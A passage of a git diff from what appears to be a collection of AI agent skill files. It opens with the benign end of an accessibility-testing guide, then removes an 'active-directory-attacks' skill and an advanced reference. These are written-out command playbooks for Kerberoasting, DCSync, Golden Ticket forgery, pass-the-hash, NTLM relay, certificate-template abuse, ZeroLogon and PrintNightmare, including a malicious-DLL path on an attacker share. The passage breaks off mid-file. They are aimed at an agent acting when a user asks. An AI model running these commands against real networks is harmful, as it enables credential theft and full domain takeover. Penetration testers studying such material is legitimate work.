const weights = { critical: 10, serious: 5, moderate: 2, minor: 1 };
|
||||
let totalWeight = 0;
|
||||
results.violations.forEach((v) => {
|
||||
totalWeight += weights[v.impact] || 0;
|
||||
});
|
||||
return Math.max(0, 100 - totalWeight);
|
||||
}
|
||||
}
|
||||
|
||||
// Component testing with jest-axe
|
||||
import { render } from "@testing-library/react";
|
||||
import { axe, toHaveNoViolations } from "jest-axe";
|
||||
|
||||
expect.extend(toHaveNoViolations);
|
||||
|
||||
describe("Accessibility Tests", () => {
|
||||
it("should have no violations", async () => {
|
||||
const { container } = render(<MyComponent />);
|
||||
const results = await axe(container);
|
||||
expect(results).toHaveNoViolations();
|
||||
});
|
||||
});
|
||||
```
|
||||
|
||||
### 2. Color Contrast Validation
|
||||
|
||||
```javascript
|
||||
// color-contrast.js
|
||||
class ColorContrastAnalyzer {
|
||||
constructor() {
|
||||
this.wcagLevels = {
|
||||
'AA': { normal: 4.5, large: 3 },
|
||||
'AAA': { normal: 7, large: 4.5 }
|
||||
};
|
||||
}
|
||||
|
||||
async analyzePageContrast(page) {
|
||||
const elements = await page.evaluate(() => {
|
||||
return Array.from(document.querySelectorAll('*'))
|
||||
.filter(el => el.innerText && el.innerText.trim())
|
||||
.map(el => {
|
||||
const styles = window.getComputedStyle(el);
|
||||
return {
|
||||
text: el.innerText.trim().substring(0, 50),
|
||||
color: styles.color,
|
||||
backgroundColor: styles.backgroundColor,
|
||||
fontSize: parseFloat(styles.fontSize),
|
||||
fontWeight: styles.fontWeight
|
||||
};
|
||||
});
|
||||
});
|
||||
|
||||
return elements
|
||||
.map(el => {
|
||||
const contrast = this.calculateContrast(el.color, el.backgroundColor);
|
||||
const isLarge = this.isLargeText(el.fontSize, el.fontWeight);
|
||||
const required = isLarge ? this.wcagLevels.AA.large : this.wcagLevels.AA.normal;
|
||||
|
||||
if (contrast < required) {
|
||||
return {
|
||||
text: el.text,
|
||||
currentContrast: contrast.toFixed(2),
|
||||
requiredContrast: required,
|
||||
foreground: el.color,
|
||||
background: el.backgroundColor
|
||||
};
|
||||
}
|
||||
return null;
|
||||
})
|
||||
.filter(Boolean);
|
||||
}
|
||||
|
||||
calculateContrast(fg, bg) {
|
||||
const l1 = this.relativeLuminance(this.parseColor(fg));
|
||||
const l2 = this.relativeLuminance(this.parseColor(bg));
|
||||
const lighter = Math.max(l1, l2);
|
||||
const darker = Math.min(l1, l2);
|
||||
return (lighter + 0.05) / (darker + 0.05);
|
||||
}
|
||||
|
||||
relativeLuminance(rgb) {
|
||||
const [r, g, b] = rgb.map(val => {
|
||||
val = val / 255;
|
||||
return val <= 0.03928 ? val / 12.92 : Math.pow((val + 0.055) / 1.055, 2.4);
|
||||
});
|
||||
return 0.2126 * r + 0.7152 * g + 0.0722 * b;
|
||||
}
|
||||
}
|
||||
|
||||
// High contrast CSS
|
||||
@media (prefers-contrast: high) {
|
||||
:root {
|
||||
--text-primary: #000;
|
||||
--bg-primary: #fff;
|
||||
--border-color: #000;
|
||||
}
|
||||
a { text-decoration: underline !important; }
|
||||
button, input { border: 2px solid var(--border-color) !important; }
|
||||
}
|
||||
```
|
||||
|
||||
### 3. Keyboard Navigation Testing
|
||||
|
||||
```javascript
|
||||
// keyboard-navigation.js
|
||||
class KeyboardNavigationTester {
|
||||
async testKeyboardNavigation(page) {
|
||||
const results = {
|
||||
focusableElements: [],
|
||||
missingFocusIndicators: [],
|
||||
keyboardTraps: [],
|
||||
};
|
||||
|
||||
// Get all focusable elements
|
||||
const focusable = await page.evaluate(() => {
|
||||
const selector =
|
||||
'a[href], button, input, select, textarea, [tabindex]:not([tabindex="-1"])';
|
||||
return Array.from(document.querySelectorAll(selector)).map((el) => ({
|
||||
tagName: el.tagName.toLowerCase(),
|
||||
text: el.innerText || el.value || el.placeholder || "",
|
||||
tabIndex: el.tabIndex,
|
||||
}));
|
||||
});
|
||||
|
||||
results.focusableElements = focusable;
|
||||
|
||||
// Test tab order and focus indicators
|
||||
for (let i = 0; i < focusable.length; i++) {
|
||||
await page.keyboard.press("Tab");
|
||||
|
||||
const focused = await page.evaluate(() => {
|
||||
const el = document.activeElement;
|
||||
return {
|
||||
tagName: el.tagName.toLowerCase(),
|
||||
hasFocusIndicator: window.getComputedStyle(el).outline !== "none",
|
||||
};
|
||||
});
|
||||
|
||||
if (!focused.hasFocusIndicator) {
|
||||
results.missingFocusIndicators.push(focused);
|
||||
}
|
||||
}
|
||||
|
||||
return results;
|
||||
}
|
||||
}
|
||||
|
||||
// Enhance keyboard accessibility
|
||||
document.addEventListener("keydown", (e) => {
|
||||
if (e.key === "Escape") {
|
||||
const modal = document.querySelector(".modal.open");
|
||||
if (modal) closeModal(modal);
|
||||
}
|
||||
});
|
||||
|
||||
// Make div clickable accessible
|
||||
document.querySelectorAll("[onclick]").forEach((el) => {
|
||||
if (!["a", "button", "input"].includes(el.tagName.toLowerCase())) {
|
||||
el.setAttribute("tabindex", "0");
|
||||
el.setAttribute("role", "button");
|
||||
el.addEventListener("keydown", (e) => {
|
||||
if (e.key === "Enter" || e.key === " ") {
|
||||
el.click();
|
||||
e.preventDefault();
|
||||
}
|
||||
});
|
||||
}
|
||||
});
|
||||
```
|
||||
|
||||
### 4. Screen Reader Testing
|
||||
|
||||
```javascript
|
||||
// screen-reader-test.js
|
||||
class ScreenReaderTester {
|
||||
async testScreenReaderCompatibility(page) {
|
||||
return {
|
||||
landmarks: await this.testLandmarks(page),
|
||||
headings: await this.testHeadingStructure(page),
|
||||
images: await this.testImageAccessibility(page),
|
||||
forms: await this.testFormAccessibility(page),
|
||||
};
|
||||
}
|
||||
|
||||
async testHeadingStructure(page) {
|
||||
const headings = await page.evaluate(() => {
|
||||
return Array.from(
|
||||
document.querySelectorAll("h1, h2, h3, h4, h5, h6"),
|
||||
).map((h) => ({
|
||||
level: parseInt(h.tagName[1]),
|
||||
text: h.textContent.trim(),
|
||||
isEmpty: !h.textContent.trim(),
|
||||
}));
|
||||
});
|
||||
|
||||
const issues = [];
|
||||
let previousLevel = 0;
|
||||
|
||||
headings.forEach((heading, index) => {
|
||||
if (heading.level > previousLevel + 1 && previousLevel !== 0) {
|
||||
issues.push({
|
||||
type: "skipped-level",
|
||||
message: `Heading level ${heading.level} skips from level ${previousLevel}`,
|
||||
});
|
||||
}
|
||||
if (heading.isEmpty) {
|
||||
issues.push({ type: "empty-heading", index });
|
||||
}
|
||||
previousLevel = heading.level;
|
||||
});
|
||||
|
||||
if (!headings.some((h) => h.level === 1)) {
|
||||
issues.push({ type: "missing-h1", message: "Page missing h1 element" });
|
||||
}
|
||||
|
||||
return { headings, issues };
|
||||
}
|
||||
|
||||
async testFormAccessibility(page) {
|
||||
const forms = await page.evaluate(() => {
|
||||
return Array.from(document.querySelectorAll("form")).map((form) => {
|
||||
const inputs = form.querySelectorAll("input, textarea, select");
|
||||
return {
|
||||
fields: Array.from(inputs).map((input) => ({
|
||||
type: input.type || input.tagName.toLowerCase(),
|
||||
id: input.id,
|
||||
hasLabel: input.id
|
||||
? !!document.querySelector(`label[for="${input.id}"]`)
|
||||
: !!input.closest("label"),
|
||||
hasAriaLabel: !!input.getAttribute("aria-label"),
|
||||
required: input.required,
|
||||
})),
|
||||
};
|
||||
});
|
||||
});
|
||||
|
||||
const issues = [];
|
||||
forms.forEach((form, i) => {
|
||||
form.fields.forEach((field, j) => {
|
||||
if (!field.hasLabel && !field.hasAriaLabel) {
|
||||
issues.push({ type: "missing-label", form: i, field: j });
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
return { forms, issues };
|
||||
}
|
||||
}
|
||||
|
||||
// ARIA patterns
|
||||
const ariaPatterns = {
|
||||
modal: `
|
||||
<div role="dialog" aria-labelledby="modal-title" aria-modal="true">
|
||||
<h2 id="modal-title">Modal Title</h2>
|
||||
<button aria-label="Close">×</button>
|
||||
</div>`,
|
||||
|
||||
tabs: `
|
||||
<div role="tablist" aria-label="Navigation">
|
||||
<button role="tab" aria-selected="true" aria-controls="panel-1">Tab 1</button>
|
||||
</div>
|
||||
<div role="tabpanel" id="panel-1" aria-labelledby="tab-1">Content</div>`,
|
||||
|
||||
form: `
|
||||
<label for="name">Name <span aria-label="required">*</span></label>
|
||||
<input id="name" required aria-required="true" aria-describedby="name-error">
|
||||
<span id="name-error" role="alert" aria-live="polite"></span>`,
|
||||
};
|
||||
```
|
||||
|
||||
### 5. Manual Testing Checklist
|
||||
|
||||
```markdown
|
||||
## Manual Accessibility Testing
|
||||
|
||||
### Keyboard Navigation
|
||||
|
||||
- [ ] All interactive elements accessible via Tab
|
||||
- [ ] Buttons activate with Enter/Space
|
||||
- [ ] Esc key closes modals
|
||||
- [ ] Focus indicator always visible
|
||||
- [ ] No keyboard traps
|
||||
- [ ] Logical tab order
|
||||
|
||||
### Screen Reader
|
||||
|
||||
- [ ] Page title descriptive
|
||||
- [ ] Headings create logical outline
|
||||
- [ ] Images have alt text
|
||||
- [ ] Form fields have labels
|
||||
- [ ] Error messages announced
|
||||
- [ ] Dynamic updates announced
|
||||
|
||||
### Visual
|
||||
|
||||
- [ ] Text resizes to 200% without loss
|
||||
- [ ] Color not sole means of info
|
||||
- [ ] Focus indicators have sufficient contrast
|
||||
- [ ] Content reflows at 320px
|
||||
- [ ] Animations can be paused
|
||||
|
||||
### Cognitive
|
||||
|
||||
- [ ] Instructions clear and simple
|
||||
- [ ] Error messages helpful
|
||||
- [ ] No time limits on forms
|
||||
- [ ] Navigation consistent
|
||||
- [ ] Important actions reversible
|
||||
```
|
||||
|
||||
### 6. Remediation Examples
|
||||
|
||||
```javascript
|
||||
// Fix missing alt text
|
||||
document.querySelectorAll("img:not([alt])").forEach((img) => {
|
||||
const isDecorative =
|
||||
img.role === "presentation" || img.closest('[role="presentation"]');
|
||||
img.setAttribute("alt", isDecorative ? "" : img.title || "Image");
|
||||
});
|
||||
|
||||
// Fix missing labels
|
||||
document
|
||||
.querySelectorAll("input:not([aria-label]):not([id])")
|
||||
.forEach((input) => {
|
||||
if (input.placeholder) {
|
||||
input.setAttribute("aria-label", input.placeholder);
|
||||
}
|
||||
});
|
||||
|
||||
// React accessible components
|
||||
const AccessibleButton = ({ children, onClick, ariaLabel, ...props }) => (
|
||||
<button onClick={onClick} aria-label={ariaLabel} {...props}>
|
||||
{children}
|
||||
</button>
|
||||
);
|
||||
|
||||
const LiveRegion = ({ message, politeness = "polite" }) => (
|
||||
<div
|
||||
role="status"
|
||||
aria-live={politeness}
|
||||
aria-atomic="true"
|
||||
className="sr-only"
|
||||
>
|
||||
{message}
|
||||
</div>
|
||||
);
|
||||
```
|
||||
|
||||
### 7. CI/CD Integration
|
||||
|
||||
```yaml
|
||||
# .github/workflows/accessibility.yml
|
||||
name: Accessibility Tests
|
||||
|
||||
on: [push, pull_request]
|
||||
|
||||
jobs:
|
||||
a11y-tests:
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@v3
|
||||
|
||||
- name: Setup Node.js
|
||||
uses: actions/setup-node@v3
|
||||
with:
|
||||
node-version: "18"
|
||||
|
||||
- name: Install and build
|
||||
run: |
|
||||
npm ci
|
||||
npm run build
|
||||
|
||||
- name: Start server
|
||||
run: |
|
||||
npm start &
|
||||
npx wait-on http://localhost:3000
|
||||
|
||||
- name: Run axe tests
|
||||
run: npm run test:a11y
|
||||
|
||||
- name: Run pa11y
|
||||
run: npx pa11y http://localhost:3000 --standard WCAG2AA --threshold 0
|
||||
|
||||
- name: Upload report
|
||||
uses: actions/upload-artifact@v3
|
||||
if: always()
|
||||
with:
|
||||
name: a11y-report
|
||||
path: a11y-report.html
|
||||
```
|
||||
|
||||
### 8. Reporting
|
||||
|
||||
```javascript
|
||||
// report-generator.js
|
||||
class AccessibilityReportGenerator {
|
||||
generateHTMLReport(auditResults) {
|
||||
return `
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<title>Accessibility Audit</title>
|
||||
<style>
|
||||
body { font-family: Arial, sans-serif; margin: 20px; }
|
||||
.summary { background: #f0f0f0; padding: 20px; border-radius: 8px; }
|
||||
.score { font-size: 48px; font-weight: bold; }
|
||||
.violation { margin: 20px 0; padding: 15px; border: 1px solid #ddd; }
|
||||
.critical { border-color: #f00; background: #fee; }
|
||||
.serious { border-color: #fa0; background: #ffe; }
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<h1>Accessibility Audit Report</h1>
|
||||
<p>Generated: ${new Date().toLocaleString()}</p>
|
||||
|
||||
<div class="summary">
|
||||
<h2>Summary</h2>
|
||||
<div class="score">${auditResults.score}/100</div>
|
||||
<p>Total Violations: ${auditResults.violations.length}</p>
|
||||
</div>
|
||||
|
||||
<h2>Violations</h2>
|
||||
${auditResults.violations
|
||||
.map(
|
||||
(v) => `
|
||||
<div class="violation ${v.impact}">
|
||||
<h3>${v.help}</h3>
|
||||
<p><strong>Impact:</strong> ${v.impact}</p>
|
||||
<p>${v.description}</p>
|
||||
<a href="${v.helpUrl}">Learn more</a>
|
||||
</div>
|
||||
`,
|
||||
)
|
||||
.join("")}
|
||||
</body>
|
||||
</html>`;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## Output Format
|
||||
|
||||
1. **Accessibility Score**: Overall compliance with WCAG levels
|
||||
2. **Violation Report**: Detailed issues with severity and fixes
|
||||
3. **Test Results**: Automated and manual test outcomes
|
||||
4. **Remediation Guide**: Step-by-step fixes for each issue
|
||||
5. **Code Examples**: Accessible component implementations
|
||||
|
||||
Focus on creating inclusive experiences that work for all users, regardless of their abilities or assistive technologies.
|
||||
@@ -1,388 +0,0 @@
|
||||
---
|
||||
name: active-directory-attacks
|
||||
description: "This skill should be used when the user asks to \"attack Active Directory\", \"exploit AD\", \"Kerberoasting\", \"DCSync\", \"pass-the-hash\", \"BloodHound enumeration\", \"Golden Ticket\", ..."
|
||||
metadata:
|
||||
author: zebbern
|
||||
version: "1.1"
|
||||
risk: unknown
|
||||
source: community
|
||||
---
|
||||
|
||||
# Active Directory Attacks
|
||||
|
||||
## Purpose
|
||||
|
||||
Provide comprehensive techniques for attacking Microsoft Active Directory environments. Covers reconnaissance, credential harvesting, Kerberos attacks, lateral movement, privilege escalation, and domain dominance for red team operations and penetration testing.
|
||||
|
||||
## Inputs/Prerequisites
|
||||
|
||||
- Kali Linux or Windows attack platform
|
||||
- Domain user credentials (for most attacks)
|
||||
- Network access to Domain Controller
|
||||
- Tools: Impacket, Mimikatz, BloodHound, Rubeus, CrackMapExec
|
||||
|
||||
## Outputs/Deliverables
|
||||
|
||||
- Domain enumeration data
|
||||
- Extracted credentials and hashes
|
||||
- Kerberos tickets for impersonation
|
||||
- Domain Administrator access
|
||||
- Persistent access mechanisms
|
||||
|
||||
---
|
||||
|
||||
## Essential Tools
|
||||
|
||||
| Tool | Purpose |
|
||||
|------|---------|
|
||||
| BloodHound | AD attack path visualization |
|
||||
| Impacket | Python AD attack tools |
|
||||
| Mimikatz | Credential extraction |
|
||||
| Rubeus | Kerberos attacks |
|
||||
| CrackMapExec | Network exploitation |
|
||||
| PowerView | AD enumeration |
|
||||
| Responder | LLMNR/NBT-NS poisoning |
|
||||
|
||||
---
|
||||
|
||||
## Core Workflow
|
||||
|
||||
### Step 1: Kerberos Clock Sync
|
||||
|
||||
Kerberos requires clock synchronization (±5 minutes):
|
||||
|
||||
```bash
|
||||
# Detect clock skew
|
||||
nmap -sT 10.10.10.10 -p445 --script smb2-time
|
||||
|
||||
# Fix clock on Linux
|
||||
sudo date -s "14 APR 2024 18:25:16"
|
||||
|
||||
# Fix clock on Windows
|
||||
net time /domain /set
|
||||
|
||||
# Fake clock without changing system time
|
||||
faketime -f '+8h' <command>
|
||||
```
|
||||
|
||||
### Step 2: AD Reconnaissance with BloodHound
|
||||
|
||||
```bash
|
||||
# Start BloodHound
|
||||
neo4j console
|
||||
bloodhound --no-sandbox
|
||||
|
||||
# Collect data with SharpHound
|
||||
.\SharpHound.exe -c All
|
||||
.\SharpHound.exe -c All --ldapusername user --ldappassword pass
|
||||
|
||||
# Python collector (from Linux)
|
||||
bloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c all
|
||||
```
|
||||
|
||||
### Step 3: PowerView Enumeration
|
||||
|
||||
```powershell
|
||||
# Get domain info
|
||||
Get-NetDomain
|
||||
Get-DomainSID
|
||||
Get-NetDomainController
|
||||
|
||||
# Enumerate users
|
||||
Get-NetUser
|
||||
Get-NetUser -SamAccountName targetuser
|
||||
Get-UserProperty -Properties pwdlastset
|
||||
|
||||
# Enumerate groups
|
||||
Get-NetGroupMember -GroupName "Domain Admins"
|
||||
Get-DomainGroup -Identity "Domain Admins" | Select-Object -ExpandProperty Member
|
||||
|
||||
# Find local admin access
|
||||
Find-LocalAdminAccess -Verbose
|
||||
|
||||
# User hunting
|
||||
Invoke-UserHunter
|
||||
Invoke-UserHunter -Stealth
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Credential Attacks
|
||||
|
||||
### Password Spraying
|
||||
|
||||
```bash
|
||||
# Using kerbrute
|
||||
./kerbrute passwordspray -d domain.local --dc 10.10.10.10 users.txt Password123
|
||||
|
||||
# Using CrackMapExec
|
||||
crackmapexec smb 10.10.10.10 -u users.txt -p 'Password123' --continue-on-success
|
||||
```
|
||||
|
||||
### Kerberoasting
|
||||
|
||||
Extract service account TGS tickets and crack offline:
|
||||
|
||||
```bash
|
||||
# Impacket
|
||||
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request -outputfile hashes.txt
|
||||
|
||||
# Rubeus
|
||||
.\Rubeus.exe kerberoast /outfile:hashes.txt
|
||||
|
||||
# CrackMapExec
|
||||
crackmapexec ldap 10.10.10.10 -u user -p password --kerberoast output.txt
|
||||
|
||||
# Crack with hashcat
|
||||
hashcat -m 13100 hashes.txt rockyou.txt
|
||||
```
|
||||
|
||||
### AS-REP Roasting
|
||||
|
||||
Target accounts with "Do not require Kerberos preauthentication":
|
||||
|
||||
```bash
|
||||
# Impacket
|
||||
GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat
|
||||
|
||||
# Rubeus
|
||||
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt
|
||||
|
||||
# Crack with hashcat
|
||||
hashcat -m 18200 hashes.txt rockyou.txt
|
||||
```
|
||||
|
||||
### DCSync Attack
|
||||
|
||||
Extract credentials directly from DC (requires Replicating Directory Changes rights):
|
||||
|
||||
```bash
|
||||
# Impacket
|
||||
secretsdump.py domain.local/admin:password@10.10.10.10 -just-dc-user krbtgt
|
||||
|
||||
# Mimikatz
|
||||
lsadump::dcsync /domain:domain.local /user:krbtgt
|
||||
lsadump::dcsync /domain:domain.local /user:Administrator
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Kerberos Ticket Attacks
|
||||
|
||||
### Pass-the-Ticket (Golden Ticket)
|
||||
|
||||
Forge TGT with krbtgt hash for any user:
|
||||
|
||||
```powershell
|
||||
# Get krbtgt hash via DCSync first
|
||||
# Mimikatz - Create Golden Ticket
|
||||
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /krbtgt:HASH /id:500 /ptt
|
||||
|
||||
# Impacket
|
||||
ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.local Administrator
|
||||
export KRB5CCNAME=Administrator.ccache
|
||||
psexec.py -k -no-pass domain.local/Administrator@dc.domain.local
|
||||
```
|
||||
|
||||
### Silver Ticket
|
||||
|
||||
Forge TGS for specific service:
|
||||
|
||||
```powershell
|
||||
# Mimikatz
|
||||
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /target:server.domain.local /service:cifs /rc4:SERVICE_HASH /ptt
|
||||
```
|
||||
|
||||
### Pass-the-Hash
|
||||
|
||||
```bash
|
||||
# Impacket
|
||||
psexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
|
||||
wmiexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
|
||||
smbexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
|
||||
|
||||
# CrackMapExec
|
||||
crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH -d domain.local
|
||||
crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH --local-auth
|
||||
```
|
||||
|
||||
### OverPass-the-Hash
|
||||
|
||||
Convert NTLM hash to Kerberos ticket:
|
||||
|
||||
```bash
|
||||
# Impacket
|
||||
getTGT.py domain.local/user -hashes :NTHASH
|
||||
export KRB5CCNAME=user.ccache
|
||||
|
||||
# Rubeus
|
||||
.\Rubeus.exe asktgt /user:user /rc4:NTHASH /ptt
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## NTLM Relay Attacks
|
||||
|
||||
### Responder + ntlmrelayx
|
||||
|
||||
```bash
|
||||
# Start Responder (disable SMB/HTTP for relay)
|
||||
responder -I eth0 -wrf
|
||||
|
||||
# Start relay
|
||||
ntlmrelayx.py -tf targets.txt -smb2support
|
||||
|
||||
# LDAP relay for delegation attack
|
||||
ntlmrelayx.py -t ldaps://dc.domain.local -wh attacker-wpad --delegate-access
|
||||
```
|
||||
|
||||
### SMB Signing Check
|
||||
|
||||
```bash
|
||||
crackmapexec smb 10.10.10.0/24 --gen-relay-list targets.txt
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Certificate Services Attacks (AD CS)
|
||||
|
||||
### ESC1 - Misconfigured Templates
|
||||
|
||||
```bash
|
||||
# Find vulnerable templates
|
||||
certipy find -u user@domain.local -p password -dc-ip 10.10.10.10
|
||||
|
||||
# Exploit ESC1
|
||||
certipy req -u user@domain.local -p password -ca CA-NAME -target dc.domain.local -template VulnTemplate -upn administrator@domain.local
|
||||
|
||||
# Authenticate with certificate
|
||||
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
|
||||
```
|
||||
|
||||
### ESC8 - Web Enrollment Relay
|
||||
|
||||
```bash
|
||||
ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Critical CVEs
|
||||
|
||||
### ZeroLogon (CVE-2020-1472)
|
||||
|
||||
```bash
|
||||
# Check vulnerability
|
||||
crackmapexec smb 10.10.10.10 -u '' -p '' -M zerologon
|
||||
|
||||
# Exploit
|
||||
python3 cve-2020-1472-exploit.py DC01 10.10.10.10
|
||||
|
||||
# Extract hashes
|
||||
secretsdump.py -just-dc domain.local/DC01\$@10.10.10.10 -no-pass
|
||||
|
||||
# Restore password (important!)
|
||||
python3 restorepassword.py domain.local/DC01@DC01 -target-ip 10.10.10.10 -hexpass HEXPASSWORD
|
||||
```
|
||||
|
||||
### PrintNightmare (CVE-2021-1675)
|
||||
|
||||
```bash
|
||||
# Check for vulnerability
|
||||
rpcdump.py @10.10.10.10 | grep 'MS-RPRN'
|
||||
|
||||
# Exploit (requires hosting malicious DLL)
|
||||
python3 CVE-2021-1675.py domain.local/user:pass@10.10.10.10 '\\attacker\share\evil.dll'
|
||||
```
|
||||
|
||||
### samAccountName Spoofing (CVE-2021-42278/42287)
|
||||
|
||||
```bash
|
||||
# Automated exploitation
|
||||
python3 sam_the_admin.py "domain.local/user:password" -dc-ip 10.10.10.10 -shell
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Quick Reference
|
||||
|
||||
| Attack | Tool | Command |
|
||||
|--------|------|---------|
|
||||
| Kerberoast | Impacket | `GetUserSPNs.py domain/user:pass -request` |
|
||||
| AS-REP Roast | Impacket | `GetNPUsers.py domain/ -usersfile users.txt` |
|
||||
| DCSync | secretsdump | `secretsdump.py domain/admin:pass@DC` |
|
||||
| Pass-the-Hash | psexec | `psexec.py domain/user@target -hashes :HASH` |
|
||||
| Golden Ticket | Mimikatz | `kerberos::golden /user:Admin /krbtgt:HASH` |
|
||||
| Spray | kerbrute | `kerbrute passwordspray -d domain users.txt Pass` |
|
||||
|
||||
---
|
||||
|
||||
## Constraints
|
||||
|
||||
**Must:**
|
||||
- Synchronize time with DC before Kerberos attacks
|
||||
- Have valid domain credentials for most attacks
|
||||
- Document all compromised accounts
|
||||
|
||||
**Must Not:**
|
||||
- Lock out accounts with excessive password spraying
|
||||
- Modify production AD objects without approval
|
||||
- Leave Golden Tickets without documentation
|
||||
|
||||
**Should:**
|
||||
- Run BloodHound for attack path discovery
|
||||
- Check for SMB signing before relay attacks
|
||||
- Verify patch levels for CVE exploitation
|
||||
|
||||
---
|
||||
|
||||
## Examples
|
||||
|
||||
### Example 1: Domain Compromise via Kerberoasting
|
||||
|
||||
```bash
|
||||
# 1. Find service accounts with SPNs
|
||||
GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10
|
||||
|
||||
# 2. Request TGS tickets
|
||||
GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10 -request -outputfile tgs.txt
|
||||
|
||||
# 3. Crack tickets
|
||||
hashcat -m 13100 tgs.txt rockyou.txt
|
||||
|
||||
# 4. Use cracked service account
|
||||
psexec.py domain.local/svc_admin:CrackedPassword@10.10.10.10
|
||||
```
|
||||
|
||||
### Example 2: NTLM Relay to LDAP
|
||||
|
||||
```bash
|
||||
# 1. Start relay targeting LDAP
|
||||
ntlmrelayx.py -t ldaps://dc.domain.local --delegate-access
|
||||
|
||||
# 2. Trigger authentication (e.g., via PrinterBug)
|
||||
python3 printerbug.py domain.local/user:pass@target 10.10.10.12
|
||||
|
||||
# 3. Use created machine account for RBCD attack
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
| Issue | Solution |
|
||||
|-------|----------|
|
||||
| Clock skew too great | Sync time with DC or use faketime |
|
||||
| Kerberoasting returns empty | No service accounts with SPNs |
|
||||
| DCSync access denied | Need Replicating Directory Changes rights |
|
||||
| NTLM relay fails | Check SMB signing, try LDAP target |
|
||||
| BloodHound empty | Verify collector ran with correct creds |
|
||||
|
||||
---
|
||||
|
||||
## Additional Resources
|
||||
|
||||
For advanced techniques including delegation attacks, GPO abuse, RODC attacks, SCCM/WSUS deployment, ADCS exploitation, trust relationships, and Linux AD integration, see [references/advanced-attacks.md](references/advanced-attacks.md).
|
||||
|
||||
## When to Use
|
||||
This skill is applicable to execute the workflow or actions described in the overview.
|
||||
@@ -1,382 +0,0 @@
|
||||
# Advanced Active Directory Attacks Reference
|
||||
|
||||
## Table of Contents
|
||||
1. [Delegation Attacks](#delegation-attacks)
|
||||
2. [Group Policy Object Abuse](#group-policy-object-abuse)
|
||||
3. [RODC Attacks](#rodc-attacks)
|
||||
4. [SCCM/WSUS Deployment](#sccmwsus-deployment)
|
||||
5. [AD Certificate Services (ADCS)](#ad-certificate-services-adcs)
|
||||
6. [Trust Relationship Attacks](#trust-relationship-attacks)
|
||||
7. [ADFS Golden SAML](#adfs-golden-saml)
|
||||
8. [Credential Sources](#credential-sources)
|
||||
9. [Linux AD Integration](#linux-ad-integration)
|
||||
|
||||
---
|
||||
|
||||
## Delegation Attacks
|
||||
|
||||
### Unconstrained Delegation
|
||||
|
||||
When a user authenticates to a computer with unconstrained delegation, their TGT is saved to memory.
|
||||
|
||||
**Find Delegation:**
|
||||
```powershell
|
||||
# PowerShell
|
||||
Get-ADComputer -Filter {TrustedForDelegation -eq $True}
|
||||
|
||||
# BloodHound
|
||||
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c
|
||||
```
|
||||
|
||||
**SpoolService Abuse:**
|
||||
```bash
|
||||
# Check spooler service
|
||||
ls \\dc01\pipe\spoolss
|
||||
|
||||
# Trigger with SpoolSample
|
||||
.\SpoolSample.exe DC01.domain.local HELPDESK.domain.local
|
||||
|
||||
# Or with printerbug.py
|
||||
python3 printerbug.py 'domain/user:pass'@DC01 ATTACKER_IP
|
||||
```
|
||||
|
||||
**Monitor with Rubeus:**
|
||||
```powershell
|
||||
Rubeus.exe monitor /interval:1
|
||||
```
|
||||
|
||||
### Constrained Delegation
|
||||
|
||||
**Identify:**
|
||||
```powershell
|
||||
Get-DomainComputer -TrustedToAuth | select -exp msds-AllowedToDelegateTo
|
||||
```
|
||||
|
||||
**Exploit with Rubeus:**
|
||||
```powershell
|
||||
# S4U2 attack
|
||||
Rubeus.exe s4u /user:svc_account /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/target.domain.local /ptt
|
||||
```
|
||||
|
||||
**Exploit with Impacket:**
|
||||
```bash
|
||||
getST.py -spn HOST/target.domain.local 'domain/user:password' -impersonate Administrator -dc-ip DC_IP
|
||||
```
|
||||
|
||||
### Resource-Based Constrained Delegation (RBCD)
|
||||
|
||||
```powershell
|
||||
# Create machine account
|
||||
New-MachineAccount -MachineAccount AttackerPC -Password $(ConvertTo-SecureString 'Password123' -AsPlainText -Force)
|
||||
|
||||
# Set delegation
|
||||
Set-ADComputer target -PrincipalsAllowedToDelegateToAccount AttackerPC$
|
||||
|
||||
# Get ticket
|
||||
.\Rubeus.exe s4u /user:AttackerPC$ /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/target.domain.local /ptt
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Group Policy Object Abuse
|
||||
|
||||
### Find Vulnerable GPOs
|
||||
|
||||
```powershell
|
||||
Get-DomainObjectAcl -Identity "SuperSecureGPO" -ResolveGUIDs | Where-Object {($_.ActiveDirectoryRights.ToString() -match "GenericWrite|WriteDacl|WriteOwner")}
|
||||
```
|
||||
|
||||
### Abuse with SharpGPOAbuse
|
||||
|
||||
```powershell
|
||||
# Add local admin
|
||||
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount attacker --GPOName "Vulnerable GPO"
|
||||
|
||||
# Add user rights
|
||||
